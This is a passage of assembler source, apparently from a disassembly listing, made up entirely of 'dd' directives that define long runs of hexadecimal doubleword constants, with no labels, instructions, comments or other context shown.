		dd 5059F01Ch, 908539B8h, 5F9C1800h, 878FB26Fh, 80B60092h
		dd 50A5FD6Dh, 7A58FC12h, 410500D0h, 0A4B38171h,	83F825A1h
		dd 5CFD0081h, 0ADD01751h, 1DCB3067h, 63C643Eh, 2849894Ah
		dd 0ACC88807h, 71800735h, 7B61AFCEh, 4852006Eh,	2BEEF3FBh
		dd 511FF7A3h, 5800BA1h,	66E5A046h, 369024CDh, 0CBEB8AF0h
		dd 70CE0228h, 36010AD6h, 0FDF838E1h, 4C9F30F5h,	5942291h
		dd 0CDE87F00h, 0CF6E19C9h, 58895007h, 3560C07Ch, 0AE83F6D9h
		dd 0C2FC8001h, 5A62CF4Ch, 381AECh, 497C828Bh, 34063367h
		dd 9683B000h, 0E32302A9h, 0EFF40726h, 70367D44h, 18DD3BFBh
		dd 0F37AEB00h, 411BD212h, 747A4Eh, 0CFBB461Dh, 38677310h
		dd 0B88CF002h, 607E32E6h, 3B1F7Dh, 0B5DA3371h, 0F462D5DEh
		dd 0CC0E25E4h, 153F43h,	7784CD82h, 45120092h, 36A1EAB1h
		dd 0BD704339h, 8B390A8h, 470C4A74h, 0E924A572h,	31382ADDh
		dd 480509D8h, 0E060FFAAh, 60005AB5h, 0F3DE7489h, 3B690h
		dd 55D40D0h, 0E52595E3h, 0DD07C80Fh, 11DE80D5h,	0D189A2h
		dd 0C11942B6h, 7BA51B3h, 290C5300h, 0A123B5EEh,	145E5330h
		dd 0E0881B80h, 0F011CB9Eh, 4BA02806h, 7D0097D8h, 0F59ED33Dh
		dd 34FC903h, 0EECE0DE6h, 0B7985AFEh, 0A87C9344h, 634A5523h
		dd 70382D07h, 7441A9EFh, 280938C0h, 0FECB003Bh,	0D0C9C3C7h
		dd 0E07593EDh, 0E71583Dh, 0A42B4E9h, 0C05B349Ch, 2D0AB25h
		dd 0FF62C7F7h, 2098ECEFh, 0D80AD34Ch, 44EAE4B7h, 70ECC072h
		dd 4AA52ABFh, 0CC0200E0h, 7BEA143Ah, 8138AC41h,	9E2A0077h
		dd 0AA35586Dh, 0B009231h, 7F5A838Ah, 0C86CBD00h, 0AC909B67h
		dd 0DCBE2900h, 25D96A21h, 8059DE22h, 0BB23E9C9h, 0C001EE95h
		dd 5807E220h, 12F032EDh, 0C59B03A3h, 2EE3FE06h,	390050ABh
		dd 32C72D2Fh, 0DE93A3h,	0C37DB49Bh, 853FAAB6h, 39309C06h
		dd 28697BAFh, 6449AEh, 0F8470A65h, 0DFA6A808h, 79D38512h
		dd 0E5EC40A0h, 570570h,	180DA8Ch, 0BA3B8A61h, 0F0445209h
		dd 0DE007535h, 0AE250FBh, 2E04A9B0h, 32332FA2h,	9DD044C1h
		dd 5030D4D9h, 1FA009D6h, 4600AE21h, 7BFD1470h, 0C2282FE8h
		dd 4C7CB0A3h, 273E4F07h, 0D2E5D759h, 0C1CA00ABh, 58B37EC6h
		dd 7FFF451Fh, 0FC1F1D17h, 57FD6501h, 0DCD0539Bh, 1A3F00C3h
		dd 0B1C76DA6h, 0C033CF48h, 37808B9h, 0A6218021h, 0FE830DEh
		dd 17A1BFAh, 0F5DDD20Bh, 7F9D0313h, 0FF44E0BFh,	3E6500ACh
		dd 81C322FDh, 0DFE8E64Ch, 693CFE00h, 7F801415h,	67F90E32h
		dd 0EF8C348Eh, 11012621h, 2CB81B15h, 9BE47FB5h,	0FF81C048h
		dd 533740BEh, 6CE6511Ch, 38DD288Dh, 39D8AB21h, 4B51211h
		dd 1B4700B7h, 2CC19647h, 1218EE7Ch, 0DF49D253h,	3C33011Dh
		dd 4A182ED3h, 710C4052h, 6F7CB1CFh, 0A1C4E706h,	120DEF5h
		dd 0E124A07Dh, 0B2C0C3AFh, 30ADD8E0h, 2810156Dh, 2AE31F80h
		dd 0CEC10FFh, 3A01D7B9h, 0AEC71F70h, 0CC414ABBh, 3CBE639h
		dd 8B617D89h, 5E01060h,	0B50ECA1Ch, 0B887A3F2h,	4052C198h
		dd 0A87978DFh, 0FE8E400h, 0E1A4EFB0h, 9EA1079Bh, 2410A7h
		dd 0BD0766C5h, 4D5D7112h, 1EDDF800h, 506F43h, 0EF41E052h
		dd 4C9E2289h, 3CF56C00h, 1667E181h, 0B47464h, 35793F42h
		dd 48EDDD3Eh, 0A93855FEh, 0C3B80045h, 0D104BE2Eh, 2FC0033h
		dd 69BA73C7h, 75E26E94h, 9CF9A80Fh, 9308E0F4h, 46C84Fh
		dd 0C7FD3832h, 0CE40D558h, 52921500h, 0E1A85C98h, 0F5CB0028h
		dd 0F2B7B584h, 11398EEBh, 24C500FCh, 0AA22D5D6h, 6E7E0026h
		dd 40394285h, 9AFEF799h, 53A52900h, 0BD44DB90h,	86C81F95h
		dd 0EC4900C9h, 9EFB2739h, 0F0FCBA7Ch, 130C41FDh, 8C9C0846h
		dd 0E821F642h, 44F99788h, 25844594h, 4F186986h,	6047FC9Bh
		dd 0C55EF718h, 19A0C048h, 2F3403B9h, 3E6B6A18h,	24605421h
		dd 6908E31h, 18C7C1BDh,	0A186821Dh, 3B573931h, 3C5CD2F8h
		dd 3401C450h, 6A42BB93h, 0E0D3F43Ah, 99F88319h,	0A02BA430h
		dd 8A1EB20h, 0D384E08Ch, 0E13C71C0h, 3CD2C147h,	9806E527h
		dd 0C99DBCA5h, 7C430608h, 4AE20A20h, 23AE80ACh,	0C7DCE6E7h
		dd 0A11F510Bh, 3F2303B1h, 55C684F7h, 0A8E90029h, 8D5BBC86h
		dd 0C41DA59Ch, 5A1B9BCEh, 8750F021h, 0CB801EEAh, 9CE7410Dh
		dd 11E1334Dh, 0CE87159Fh, 2F9DE3F0h, 0A741E4A3h, 0C51D90BEh
		dd 0F4C01C5Bh, 0CF3F05F7h, 0EB0F0076h, 95850693h, 16F8F8A5h
		dd 0C0B8BC51h, 0C4006FF6h, 5F4B969Dh, 15F8267Bh, 0AC93E992h
		dd 3F229A00h, 80701E30h, 4B97100Eh, 32774608h, 48C01F70h
		dd 31A85852h, 44008BFAh, 0E335202Eh, 0CC7D1BBCh, 5B219708h
		dd 0D3443402h, 0A399BBEEh, 0F84C89A8h, 3F98Dh, 0ACC12BC6h
		dd 0F25501A3h, 619653Fh, 49C1798h, 40C41CC8h, 8C33473Ah
		dd 15AEB0DFh, 0D8C02BA7h, 3EBCDA55h, 22B91CADh,	6429C051h
		dd 5F09F639h, 1D731700h, 0EAE54BB2h, 72F0A0h, 2E9BAA76h
		dd 0E1D53F71h, 0D7837700h, 0C598B569h, 16D900CCh, 683CDE49h
		dd 0ED0E94C6h, 0A17BF2B8h, 93DBCBBDh, 36AC044Fh, 10D2D830h
		dd 7CF34D40h, 0AB730092h, 122DD326h, 0E200C63Dh, 5F33EAE6h
		dd 140A0E5h, 0B26FE83Bh, 88211A73h, 4C8D929h, 0C50FB474h
		dd 67568082h, 0B7720CA4h, 3E00FD7Eh, 0F913451Ch, 1DD21EF2h
		dd 818B2188h, 0AF02969Bh, 73EE20B4h, 4B5DB707h,	0AE601832h
		dd 0F063545Ah, 0BF47070Ch, 27EBAB52h, 0BEC650CEh, 0CC1F55EDh
		dd 0A4809266h, 0F22BDF44h, 0E5BE622h, 3C721696h, 7860F560h
		dd 19059AB6h, 0F15D65Ah, 9D4B00FEh, 0ACFE1D0Dh,	1ACA2406h
		dd 389543h, 2C4E398Ah, 0F1D049A7h, 0AC50053Ch, 0CA1C0436h
		dd 47837D00h, 5402B3h, 74FC4855h, 3C636EB2h, 49240FF2h
		dd 0CA00B95Ch, 30DFF996h, 0B275002Eh, 52FB1E7Bh, 68C07D48h
		dd 0FD850CBh, 5AE300B7h, 0C4721BCFh, 0DA007385h, 11D36D8Eh
		dd 0ECB61Ch, 4A616ECBh,	408DFC0Ah, 3209700h, 78926FE5h
		dd 544400F0h, 7E32EFF1h, 5200CA16h, 0E7797288h,	1C4B6A02h
		dd 0C0A7B5E9h, 27A666BBh, 1028C08Eh, 0DF1889EBh, 0A31090DAh
		dd 74FB00E5h, 738DF02Ch, 873B71F2h, 8B80969Ch, 4D894900h
		dd 0C16D28h, 35AE6117h,	2999C967h, 1B56EC00h, 54E45F25h
		dd 6A09093Bh, 0AE008EC7h, 0C27414FAh, 383C3049h, 0D7D000DAh
		dd 0A3ADA23Dh, 0A9650040h, 0E0F1FFE5h, 7907A61Dh, 903516ACh
		dd 80BE56A0h, 0AF4400EDh, 0F173709Eh, 3100DACFh, 55C3E777h
		dd 6F25C7h, 1EA7D98Ch, 344CCC5Fh, 11972A01h, 0BCFFE0BDh
		dd 60FD789Ch, 8018A738h, 3527A451h, 303154DEh, 4DA2CB5h
		dd 0B43DDF2Ah, 291B8072h, 20C40623h, 0A47C00D9h, 0D608ECBBh
		dd 0DE00EAB5h, 0C0610F98h
		dd 98DF8E9Eh, 0CFD10073h, 39D92A10h, 80F926A0h,	4920C010h
		dd 0E53CA5h, 6C77F5F3h,	0A0AA12D6h, 3D070300h, 66465860h
		dd 5FC50C84h, 1EB0CB9Eh, 0F9D2FE00h, 0C8EE0F6Fh, 396000FCh
		dd 7ABA318h, 691D4D5Fh,	8B806AC6h, 7E928004h, 0B99D005Dh
		dd 0C230EDCBh, 0CD002E98h, 0BE8F2093h, 3299CEFh, 5F56571Ah
		dd 71E02BFEh, 0EA009FDDh, 1087EB2Ah, 370CD50h, 0D0553DA5h
		dd 68000BABh, 7F4E3E3Ah, 7C192Ch, 81CE9DC8h, 0AAEAAB51h
		dd 9E976500h, 13C9BC85h, 7AE40CBBh, 4E2184B0h, 3D9D8D00h
		dd 1EFCEB22h, 0DFE40090h, 0CB8EF2A7h, 0DD002998h, 2694F17Ah
		dd 5F3855h, 63D3D4E1h, 1646EAC3h, 173D39h, 2627191Bh, 727EB6BFh
		dd 0CDB26B4h, 51349868h, 7B01131Dh, 9AC4D833h, 0E0CE9094h
		dd 26AA01E5h, 800C6339h, 645F18EAh, 0F1F2DF52h,	45D76A00h
		dd 244AED1Fh, 62E640h, 0AEFC2B4h, 895B9DF7h, 188103Ah
		dd 21FD71A2h, 48EB8753h, 5A0048E0h, 0BB889594h,	0C41A12C0h
		dd 0F799B5A6h, 9C1C7B41h, 0BBC0A779h, 0E747EF9h, 3C5249FDh
		dd 1E0ACE83h, 928B05E8h, 55C0FE0Eh, 0DFFAE065h,	5199F57h
		dd 84EF40D7h, 13BFC0D5h, 74E88292h, 9448FC7Dh, 0CC508094h
		dd 0D49BB5h, 217CDF37h,	4F6F0A66h, 0D2FDB700h, 7F08A8A1h
		dd 0F578C02Bh, 769A9205h, 89685A00h, 0D0972F44h, 0CF5103DAh
		dd 4D5E86ACh, 0E11E0DD0h, 45E6BC00h, 7E8B814Fh,	0B0F35441h
		dd 841B0208h, 0C01F8A0Fh, 87E0086Bh, 3F3D6FFDh,	0DB3A0375h
		dd 48AF770h, 0CE6D7C66h, 0AE08D15Bh, 79500801h,	6B19013Bh
		dd 0E85CEDB4h, 30A88A29h, 0E6008E0Ah, 7170C7DDh, 0BE522842h
		dd 0E05700D0h, 0EEA44010h, 4E073F8h, 0B74D9802h, 0C0E783EBh
		dd 13F99A6Ch, 7529E9h, 0F049ED90h, 4F000214h, 0C4F6778Fh
		dd 91260A6Ah, 920F024Ch, 0DC805AF4h, 497C2DE0h,	661840B2h
		dd 9DF9E6E1h, 0A7D721Eh, 36B441F1h, 0EE1A01B8h,	872A5134h
		dd 16887EB8h, 13554990h, 0C2CF0089h, 9172A21Dh,	360E0EE8h
		dd 8086114Eh, 0F644E1E7h, 0D2733BEEh, 5D3AC8BEh, 0EFAA2285h
		dd 3CDC9093h, 28EE9FC0h, 2C4D1A24h, 48F8409Fh, 0BC5060Ah
		dd 3C886CE2h, 0F180D751h, 8E25B2CCh, 8D00AA39h,	9CBA06E4h
		dd 424C556h, 0E0ABD742h, 39F0D87Bh, 0C0DB4900h,	9660BB61h
		dd 18D89888h, 0F997BA12h, 240F9982h, 32E98F3Ah,	0D80E840Ah
		dd 54104C00h, 92CFEF20h, 3488006Ch, 981B4A5Fh, 0F6031C05h
		dd 77DB5D4h, 0EED014DDh, 24B01856h, 0E600E953h,	7CD4E1Ah
		dd 7E70FB2Ch, 0A1BE0A64h, 80B8F8E7h, 1E04224Dh,	1C060880h
		dd 0E9DD8248h, 7BC05A9h, 156AA2Ah, 700B5894h, 0AE60CE74h
		dd 3500915Fh, 6F49C65Dh, 924F9506h, 0FE671D48h,	23F2C0D0h
		dd 0C548E8EDh, 523DC616h, 0E40C1439h, 0F94B2B7h, 59E1BAC2h
		dd 69AE0940h, 0F33BA18Dh, 75128083h, 314D1F32h,	3A047A60h
		dd 3F800A2Dh, 0B4B80E4Bh, 1B00C5CAh, 499F756Dh,	0E7E28Eh
		dd 0BA10E453h, 0B0E6968Ah, 7418981Fh, 416D2000h, 3B4FADAh
		dd 0D6D92502h, 0A4D0C9E0h, 190058A9h, 0C64A9F8Ah, 0FE44BC2h
		dd 6CB16A80h, 0C0A23905h, 0EEF3398h, 0B5277E07h, 0C06FF78Bh
		dd 864A4B98h, 0C4C00FFCh, 1C008AD7h, 463A8812h,	0CFA7BC05h
		dd 0E0402A62h, 0CDA9040h, 0DC544896h, 6D84157Fh, 0D300C08Fh
		dd 0BD267172h, 0C400FFFBh, 3E929748h, 0AF252F3h, 9C08EE03h
		dd 4160058Ch, 0F5D3C276h, 0C056ECA5h, 14936A5Bh, 6E4DD31Fh
		dd 8792E345h, 85A090C7h, 9004BAh, 0C6E8CCAFh, 0A5F50A7Bh
		dd 0E9158A1Eh, 15B4B00h, 48FC99h, 0DAE77E38h, 0B2CDF41Ch
		dd 6C71F52Ch, 2149830Eh, 0D3BCB9CBh, 0C4BDD8h, 0A54F063Dh
		dd 306586CDh, 0D2E9E9C0h, 1C22879Fh, 258E0B3h, 0E1D768DBh
		dd 99F6DE00h, 2DF00003h, 0BE5FFF41h, 0D77BC42h,	3E40DC64h
		dd 40B9DC8Ch, 2700345Ah, 2B56EACCh, 1352414Fh, 4089A6F4h
		dd 0E80C23DCh, 34968AD1h, 7B801001h, 0B822F7EAh, 0B8D0F939h
		dd 5C3C90B6h, 48009043h, 678DC525h, 45205749h, 61271DA8h
		dd 0FEB401Eh, 0DD87A7Eh, 0EFB5D50Ch, 9190A1DBh,	2D7462C4h
		dd 0DA85AC60h, 32C9E9C1h, 0C026FA31h, 7A892081h, 538F051h
		dd 0BA4BB100h, 4F5E0F76h, 0C4F85DF1h, 0A48E2Ch,	3505B708h
		dd 0E780DA0h, 58D05600h, 0A560E514h, 617A60B0h,	0EB10F1DCh
		dd 0C931563Fh, 0E127052Ch, 8051B2h, 0EA5BBB1h, 2A08AB1Dh
		dd 5FA1FC3h, 9608C8FDh,	39DDF9FAh, 0D7BA14C1h, 4C288DBEh
		dd 0B4406788h, 0C00771h, 0F587C648h, 7901155Fh,	3D85950h
		dd 70253226h, 5AAEB500h, 0F8083153h, 2FE60CA1h,	6D8464Ch
		dd 0E06FB10Ch, 2CF7CA97h, 0FC9EF2h, 0BD4A09A4h,	0A100B750h
		dd 89B30471h, 5D95C106h, 812E18C2h, 0ACA1608Ch,	0B00FE33h
		dd 60B4D286h, 0CA09920h, 353C2784h, 0C4AEA288h,	11DCDE0Ch
		dd 3B1064h, 16F5D998h, 99F0BC51h, 5E8E7017h, 0F4C0F201h
		dd 0E2C47137h, 0C1692E1Ch, 0A1EE045Ch, 0E0CB72h, 64C55DB3h
		dd 0F65FB0h, 0E7BBE81Eh, 0D3BFD511h, 34912814h,	1F8C0790h
		dd 6A40F8F9h, 2728E9Ah,	0E2E33C49h, 0D0800638h,	78D96B35h
		dd 5B00C89Ah, 2FAF13CAh, 16C407EEh, 409476B8h, 0A93A5CF8h
		dd 471EB361h, 0AA8180CEh, 1618423Fh, 5CE003FFh,	0BE75EE53h
		dd 95ABCBB0h, 0F67A8E00h, 68A6BCB4h, 0C9EA00FCh, 0B7DD7678h
		dd 0AC92C7F8h, 2A005475h, 457F861Ah, 0B83CC94h,	0AB019D1h
		dd 0C792A825h, 80ACDA87h, 2E99A7E1h, 3DF8B2D6h,	0A2810B60h
		dd 0DE4A8Ch, 0ADC8FDEAh, 9FA94616h, 4D753E0Eh, 0B2638006h
		dd 0F1AB69EEh, 540E4024h, 695ACA1h, 0ACAC6F9h, 63E9947h
		dd 97CB89DEh, 6F10A3EBh, 50391D38h, 0EE30A078h,	973C30CCh
		dd 49E7003Fh, 0A3ECC0D5h, 393A01C5h, 428B00B6h,	5EF64DF5h
		dd 0AFD013FBh, 8D800037h, 26EA9770h, 0B48549h, 1F2C0B32h
		dd 0DDC62Dh, 0A7C5941Bh, 0C7D49763h, 4C90717Bh,	0B3A51100h
		dd 7F360BD7h, 67D0008Bh, 4352A05Bh, 217B9062h, 8A05A603h
		dd 0B0AB3C86h, 41AFD6h,	0AEFD7DDEh, 1A8CD799h, 0FB0705E6h
		dd 1C3B6AD8h, 4504BB0h,	2A0100D1h, 3A5FEE17h, 0C4030E4Fh
		dd 0F0E226E4h, 8A2FA794h, 2E00B0BBh, 4373599Dh,	0E1393D13h
		dd 0BC908E00h, 98BBA84Bh, 0E900009Ah, 0B66CAF44h, 0A0DED984h
		dd 0C109B3h, 0C3DB69C9h, 0C52E3D78h, 6CFE1000h,	0F9571AA6h
		dd 6E9600A9h, 5F4FC6E4h, 0F104A8BCh, 42316DBFh,	18D447C0h
		dd 60FE23h, 40070A16h, 0E78AE81h, 8735A000h, 2DF5D625h
		dd 5C0D0064h, 72CACC76h, 0EC00CD1Eh, 0EA8FC656h, 105948h
		dd 0C8465D19h, 1AD31899h, 4CC9BB00h, 0F4840FD8h, 29A80108h
		dd 218068F1h, 0B8CDC8FBh, 0CF029804h, 8022A7h, 7AAB648h
		dd 0D264BDA9h, 5461306Fh, 420F1BA8h, 87624413h,	4B204023h
		dd 2AB09D9h, 3763D3C1h,	5CE05036h, 27017961h, 0F675A2DCh
		dd 0E8DCC8BBh, 4BA600EDh, 87C28D6Ah, 0C500E399h, 0C923DED5h
		dd 17FFD7Eh, 4A43D9ECh,	0CC4CA147h, 0F30381F1h,	14D5CB3Ch
		dd 9309A891h, 0F6C10117h, 7AC696F4h, 5F0BD032h,	58F558h
		dd 785A3876h, 0F13E4Ch,	2EB7FFA1h, 52F7029Ch, 0FC042700h
		dd 0B5636B89h, 751D007Ch, 0BFE784F3h, 3607B79Dh, 9B2DB47Ah
		dd 205BA590h, 0D50E0BB6h, 8B8138C5h, 64223F52h,	11032C98h
		dd 0FF9BC7Ch, 0C9E3C057h, 33145896h, 48803C3Eh,	4A569482h
		dd 8AE2CA0Fh
		dd 9217A778h, 700AE21h,	0ED7F7063h, 0CCDD0050h,	0D857B956h
		dd 0FB0910CFh, 0C0D2C819h, 49BEA4FCh, 1F01D489h, 0E12410FDh
		dd 755474F3h, 0D5BB8600h, 0E4B74A71h, 0C0CF070Bh, 61B8FC19h
		dd 0CC3CD24Bh, 0A600F267h, 0C4BA638Bh, 77BFD9Dh, 944DEA57h
		dd 12B305Ch, 0A9033829h, 0B4B2EBA2h, 249283FFh,	0A480E8h
		dd 0B5E73EE0h, 4300888Ah, 3B8698E8h, 78E5FC0h, 0CE3AE696h
		dd 0FDBB608Bh, 0C500689Fh, 8F655A78h, 1D39513h,	0AE5954C4h
		dd 0CF7536BAh, 0F657E804h, 1B41D1B9h, 0F0ACD786h, 3000C065h
		dd 0B59DAA41h, 0FFBA75Bh, 9ABD1188h, 3D946B80h,	2C033F7Ch
		dd 4B427108h, 3AC5C0EEh, 0AED0BF77h, 0FAE4BC00h, 34EFD3DFh
		dd 0A05F059Dh, 819308E2h, 0C054561Ah, 48C17077h, 99E735Eh
		dd 0DF41DCh, 0C88E63C6h, 1B9B4411h, 0AD064000h,	1B2B70Ch
		dd 46FC0E5Bh, 3E60CC43h, 3A7F6732h, 2514971Ch, 0E4C2DE40h
		dd 16019C17h, 0D67A38h,	6434C75Fh, 3A710714h, 35074E76h
		dd 7AEF7645h, 0AD10E9C1h, 9F750E8h, 71AC3E8Eh, 0B72EDC00h
		dd 0A25C6E2Ch, 0B8EA007Dh, 0FF900DAAh, 9A70059h, 209C2754h
		dd 4F0B52CAh, 631607CDh, 0D3F198BCh, 1FA12C7Eh,	11E38038h
		dd 23015DB2h, 5A048272h, 24287841h, 565BB8C7h, 51560714h
		dd 666C908Fh, 1C281372h, 8B2E080Fh, 0C824BCBAh,	0B6257900h
		dd 251CFA54h, 60002886h, 0EAA6124Ah, 1E904000h,	395A0881h
		dd 3CCA5C61h, 9138E001h, 0BC11E8B5h, 8FD00030h,	552BF004h
		dd 0F790ACh, 7CCBD62Ch,	8936CC4Eh, 48902E05h, 96815EFEh
		dd 284859F7h, 26913C08h, 0C530F601h, 50DEA2B5h,	0FE65C80h
		dd 5504BC07h, 3E8392C8h, 0E01100E5h, 791E502Fh,	0CC054BF6h
		dd 0A89E5149h, 2AC5D0D7h, 42966800h, 74EEA901h,	4AA7003Fh
		dd 4B40A89Bh, 0B2019C2Fh, 0DC5EC3D0h, 1CF0DE42h, 6C9A1847h
		dd 0AC72A174h, 633A7300h, 1819E289h, 6A763DA9h,	0A90BF498h
		dd 0D97BB949h, 0E0350A00h, 2169FA39h, 0E3EE30A6h, 4A1422C6h
		dd 0A1D1B11Eh, 709A4C03h, 32A8010Eh, 0C87564F3h, 7A2DF0C5h
		dd 4DE53Eh, 0A59C47C1h,	0C7DE3Bh, 2F9AD45Ch, 0F2724C03h
		dd 0B9CFE31Dh, 3DE81483h, 48A5980Ch, 53601D91h,	9B154A2Ah
		dd 1A178284h, 34403AF6h, 9E057458h, 94D9E746h, 90434184h
		dd 0F0455D4Dh, 5E2978h,	22141230h, 63E6E37Dh, 705AC1F1h
		dd 640E01A5h, 98708546h, 1CE5310h, 9AE1D50Bh, 8CF9CCA9h
		dd 20664B09h, 3E0BFCB3h, 0BE8C4C65h, 0FC39602Fh, 1A341001h
		dd 173E846Ah, 304138C0h, 0EBA842F2h, 0B8005CD1h, 0FBFF4EE3h
		dd 0D127382h, 59BCA617h, 33C4E040h, 0F3E83600h,	0DD7F7162h
		dd 8F08CC3Bh, 3A009B21h, 9E0F5936h, 189594AEh, 8074CF50h
		dd 0D30012F8h, 7F4713F0h, 0F8737B81h, 1C577F55h, 0F0292E2h
		dd 1340F4BFh, 2CAF36FAh, 85050404h, 0F0005D78h,	0BFA3E8CDh
		dd 64A05103h, 0D069D112h, 3F31CE99h, 3C02FEE4h,	0F4977395h
		dd 0C0CD3C85h, 85F253C1h, 0DB7D5901h, 0D2314D73h, 0B9948BE5h
		dd 9060C395h, 0B29BB767h, 0F9F77B00h, 97A655ABh, 5287155Ah
		dd 952FA47Eh, 75C20C0h,	57853718h, 0F6872B19h, 9D1800CBh
		dd 0BC7AD0A6h, 59006E5Eh, 0C31F7688h, 0D711EDh,	0BDDD8FA4h
		dd 51861999h, 6218D0A4h, 0E9897EDEh, 0CAC1C0A4h, 60E319A8h
		dd 4F31D600h, 6323F8AFh, 7DA90C6Dh, 763077C9h, 0A33FBE07h
		dd 5A21C150h, 8951191h,	0D800B47Ah, 36C63FAAh, 6061F9D2h
		dd 4620DDF9h, 309CA4E4h, 10891C30h, 2E035EFDh, 0D89E4DCAh
		dd 0F385EB8Eh, 0A139E6F4h, 0ED19BC0Ch, 75C56B36h, 20900C62h
		dd 0C63634F1h, 4E75D00h, 0D5721441h, 0CE953145h, 600E9EC1h
		dd 0E7F248E8h, 8E018100h, 0DC6726B7h, 2CC7FA36h, 0CB1169h
		dd 2B20C4Eh, 5D091840h,	21798CBDh, 951D6610h, 36E6C4h
		dd 0E07F50C3h, 720EEF04h, 19DC893Ch, 64901845h,	74E7E520h
		dd 31303766h, 857C541h,	0F8CBA8ACh, 0A9502B72h,	208011ACh
		dd 69CF00D1h, 0C4194B15h, 95189944h, 16207643h,	85E703AFh
		dd 66F8D239h, 0C4066928h, 0B0885BF8h, 31856F38h, 0B1AE2C00h
		dd 0B912B803h, 804067E9h, 0E7CAC45Ch, 73F20334h, 30870B2Ah
		dd 9E8BABBh, 9F0EF605h,	40579606h, 63A3FBE7h, 6461CE31h
		dd 0CB3AD8A4h, 65A8C424h, 4E1DEF30h, 53D81900h,	63B869E7h
		dd 54AE49DEh, 4CFA870Ch, 8D6080D9h, 0DD9B1A71h,	18831686h
		dd 0C1F80007h, 53375223h, 1E76A998h, 0F363CD15h, 0FE0F7B50h
		dd 6834DB6h, 1F6018A7h,	4302FDE9h, 9EDB7C64h, 0F405ED90h
		dd 0F0919573h, 13E47000h, 3B737C11h, 52864DFDh,	0F0DA75C1h
		dd 0A5023B46h, 0A2E1BE0Ah, 21BE6E31h, 470B17FAh, 347103ADh
		dd 481F940Eh, 0D081DDDBh, 0AF825E65h, 66EE788Ah, 2F8180CCh
		dd 12E343EDh, 6BA05000h, 0C2537C5Eh, 889324E5h,	0D5958014h
		dd 3D26F23Fh, 4800247Ah, 2B22E8FCh, 50BFE485h, 245F8064h
		dd 49047E81h, 41824C06h, 9AC44F05h, 0AFE0D4AEh,	7433040Bh
		dd 0AB98E06Eh, 3E4C9903h, 94B03868h, 0FD503Ah, 99D837CDh
		dd 67902C65h, 0FD649AC4h, 0FF300C8h, 6163DC2Dh,	6774B180h
		dd 0FB3C982Ch, 3950018Ah, 0D0FFCC80h, 2494E8h, 7A5764ECh
		dd 9907475Bh, 0A60025FCh, 3316265h, 0D3DE73h, 6C2D2985h
		dd 0CA05C6D8h, 20432700h, 0B03E6D76h, 4C4FE224h, 7A119Ah
		dd 0D0B65712h, 0F3849083h, 3C445000h, 0C8A9CFD4h, 0BE5D0687h
		dd 2817E0C6h, 0A233CA00h, 88111E6Fh, 9ED41FBFh,	93A50075h
		dd 56AAFD16h, 87C15700h, 0F67CAEFCh, 30EF6E8h, 0BAA20CDAh
		dd 0E4C86B68h, 21002774h, 0F8538637h, 183648EBh, 195F2CF3h
		dd 9700343Eh, 16296AABh, 0AC49ADh, 189B4492h, 37986FC1h
		dd 4AC6C70Ch, 1A2990Bh,	0B0C5BC4Bh, 9FD9BB88h, 6A586F70h
		dd 26CEDBA8h, 2413364Bh, 40A61FC3h, 0D67B7127h,	0CA07B57Ch
		dd 0CB286C13h, 93165740h, 96AA003Ah, 0CF0CCE2Fh, 0E6006E71h
		dd 642CE16Bh, 0C330568Bh, 32A43D58h, 67CACBF8h,	6899E607h
		dd 44B1E2F7h, 0DCC47828h, 342F1CEAh, 0AA003D8Eh, 8B141943h
		dd 1252D5A3h, 4CA0FE04h, 0EC007DD7h, 5A86154Fh,	0C329EA4Ah
		dd 738B4820h, 31001DEBh, 53E5D2F2h, 310E5F9Ah, 0B60993D8h
		dd 5220828Ah, 600AE47Bh, 7162C35Eh, 0A24D0009h,	0A4EFAA8Bh
		dd 6E1D34EEh, 8130BA74h, 1FA6D23Ch, 39C4E55Dh, 0EDABF106h
		dd 0F03711Eh, 0C7A880F6h, 0B1310322h, 0D529E79h, 7B61ACE0h
		dd 15C57F11h, 566ADC00h, 5A521349h, 9562E702h, 0C0EAE4CAh
		dd 0DFA83E83h, 0CED100B1h, 26953275h, 3840D201h, 36A8073Ch
		dd 0AFFE698Ah, 16D48090h, 0B2D19BBCh, 1994B901h, 777B9D8Dh
		dd 448B5085h, 0BDA440FAh, 18998FAEh, 74E70B00h,	6A50476Bh
		dd 0C060ADEh, 0C4001E6h, 7B6937BBh, 22803F07h, 0AE104A19h
		dd 711AFC8Eh, 539F072Fh, 3345AC6Dh, 0D8A8810Ah,	3B1D387Ch
		dd 20061551h, 7811A5h, 0C4CE5D75h, 2768D921h, 70D64F00h
		dd 8B0FD0CDh, 184176F3h, 31A0C6CEh, 0DB13F635h,	80034F76h
		dd 7F5E5697h, 20136008h, 6BDC2A0Ch, 28686100h, 0FC80DB54h
		dd 0A79E00A8h, 1C387FAAh, 4B2A5A35h, 0BB78FCEFh, 4AB3D1C0h
		dd 7BFB4C5h, 0A7924257h, 5B198093h, 5905C809h, 288F20F5h
		dd 1445F280h, 0D6CD2806h, 0EEC318A0h, 4B9751EDh, 0D3813E00h
		dd 5FCC9FA9h, 0D6660025h, 0CE868402h, 3D00A1FFh, 0BC833FB3h
		dd 0FC9DFE3h, 0D15D3A7Eh
		dd 701021A9h, 5A28561Dh, 0F8000851h, 52E6A1D2h,	0C35043D1h
		dd 0B12505F1h, 0F5A6409Fh, 1600539Ah, 79233E62h, 244802C5h
		dd 12282F07h, 341020BBh, 54007A17h, 836EDDCFh, 8A14DEh
		dd 3E88D2F1h, 0EEF72F92h, 0AF7DEB00h, 5B05119Eh, 0C39CA02Eh
		dd 83E844EDh, 6BDB1B00h, 0CBB2738h, 0B2E4E992h,	253C02D8h
		dd 0C6B13481h, 10713044h, 6B9D3Dh, 3DD2A444h, 738F34h
		dd 4C6C303Fh, 93CE2AB8h, 9044BAECh, 0E3DD07F5h,	60B39F89h
		dd 5B20F9E5h, 968A8002h, 4C5E9EEBh, 0B51D1A18h,	6CB038B4h
		dd 9A0020DCh, 70712958h, 95FB92h, 0C979A872h, 822E23DAh
		dd 78BF804h, 0FE463BA7h, 870049A6h, 0BD916803h,	1321A7Dh
		dd 9DF0630Dh, 2023B32Fh, 0CD244304h, 0A2C050D2h, 464EAADCh
		dd 2C142296h, 0A36610h,	2432373Bh, 252952E0h, 3EE844h
		dd 218E3982h, 90436BFDh, 0EB853E60h, 6D235680h,	44DDE419h
		dd 3BE1BCFFh, 2B880CBh,	0D7A45F8Dh, 1AFF801h, 651406Fh
		dd 0C8C8E242h, 3744BAB5h, 0E4731E50h, 1BBD005Fh, 0B3209735h
		dd 0E2240B00h, 913F4E4Ch, 8D5B24C4h, 8BC4386Ch,	0A698AD00h
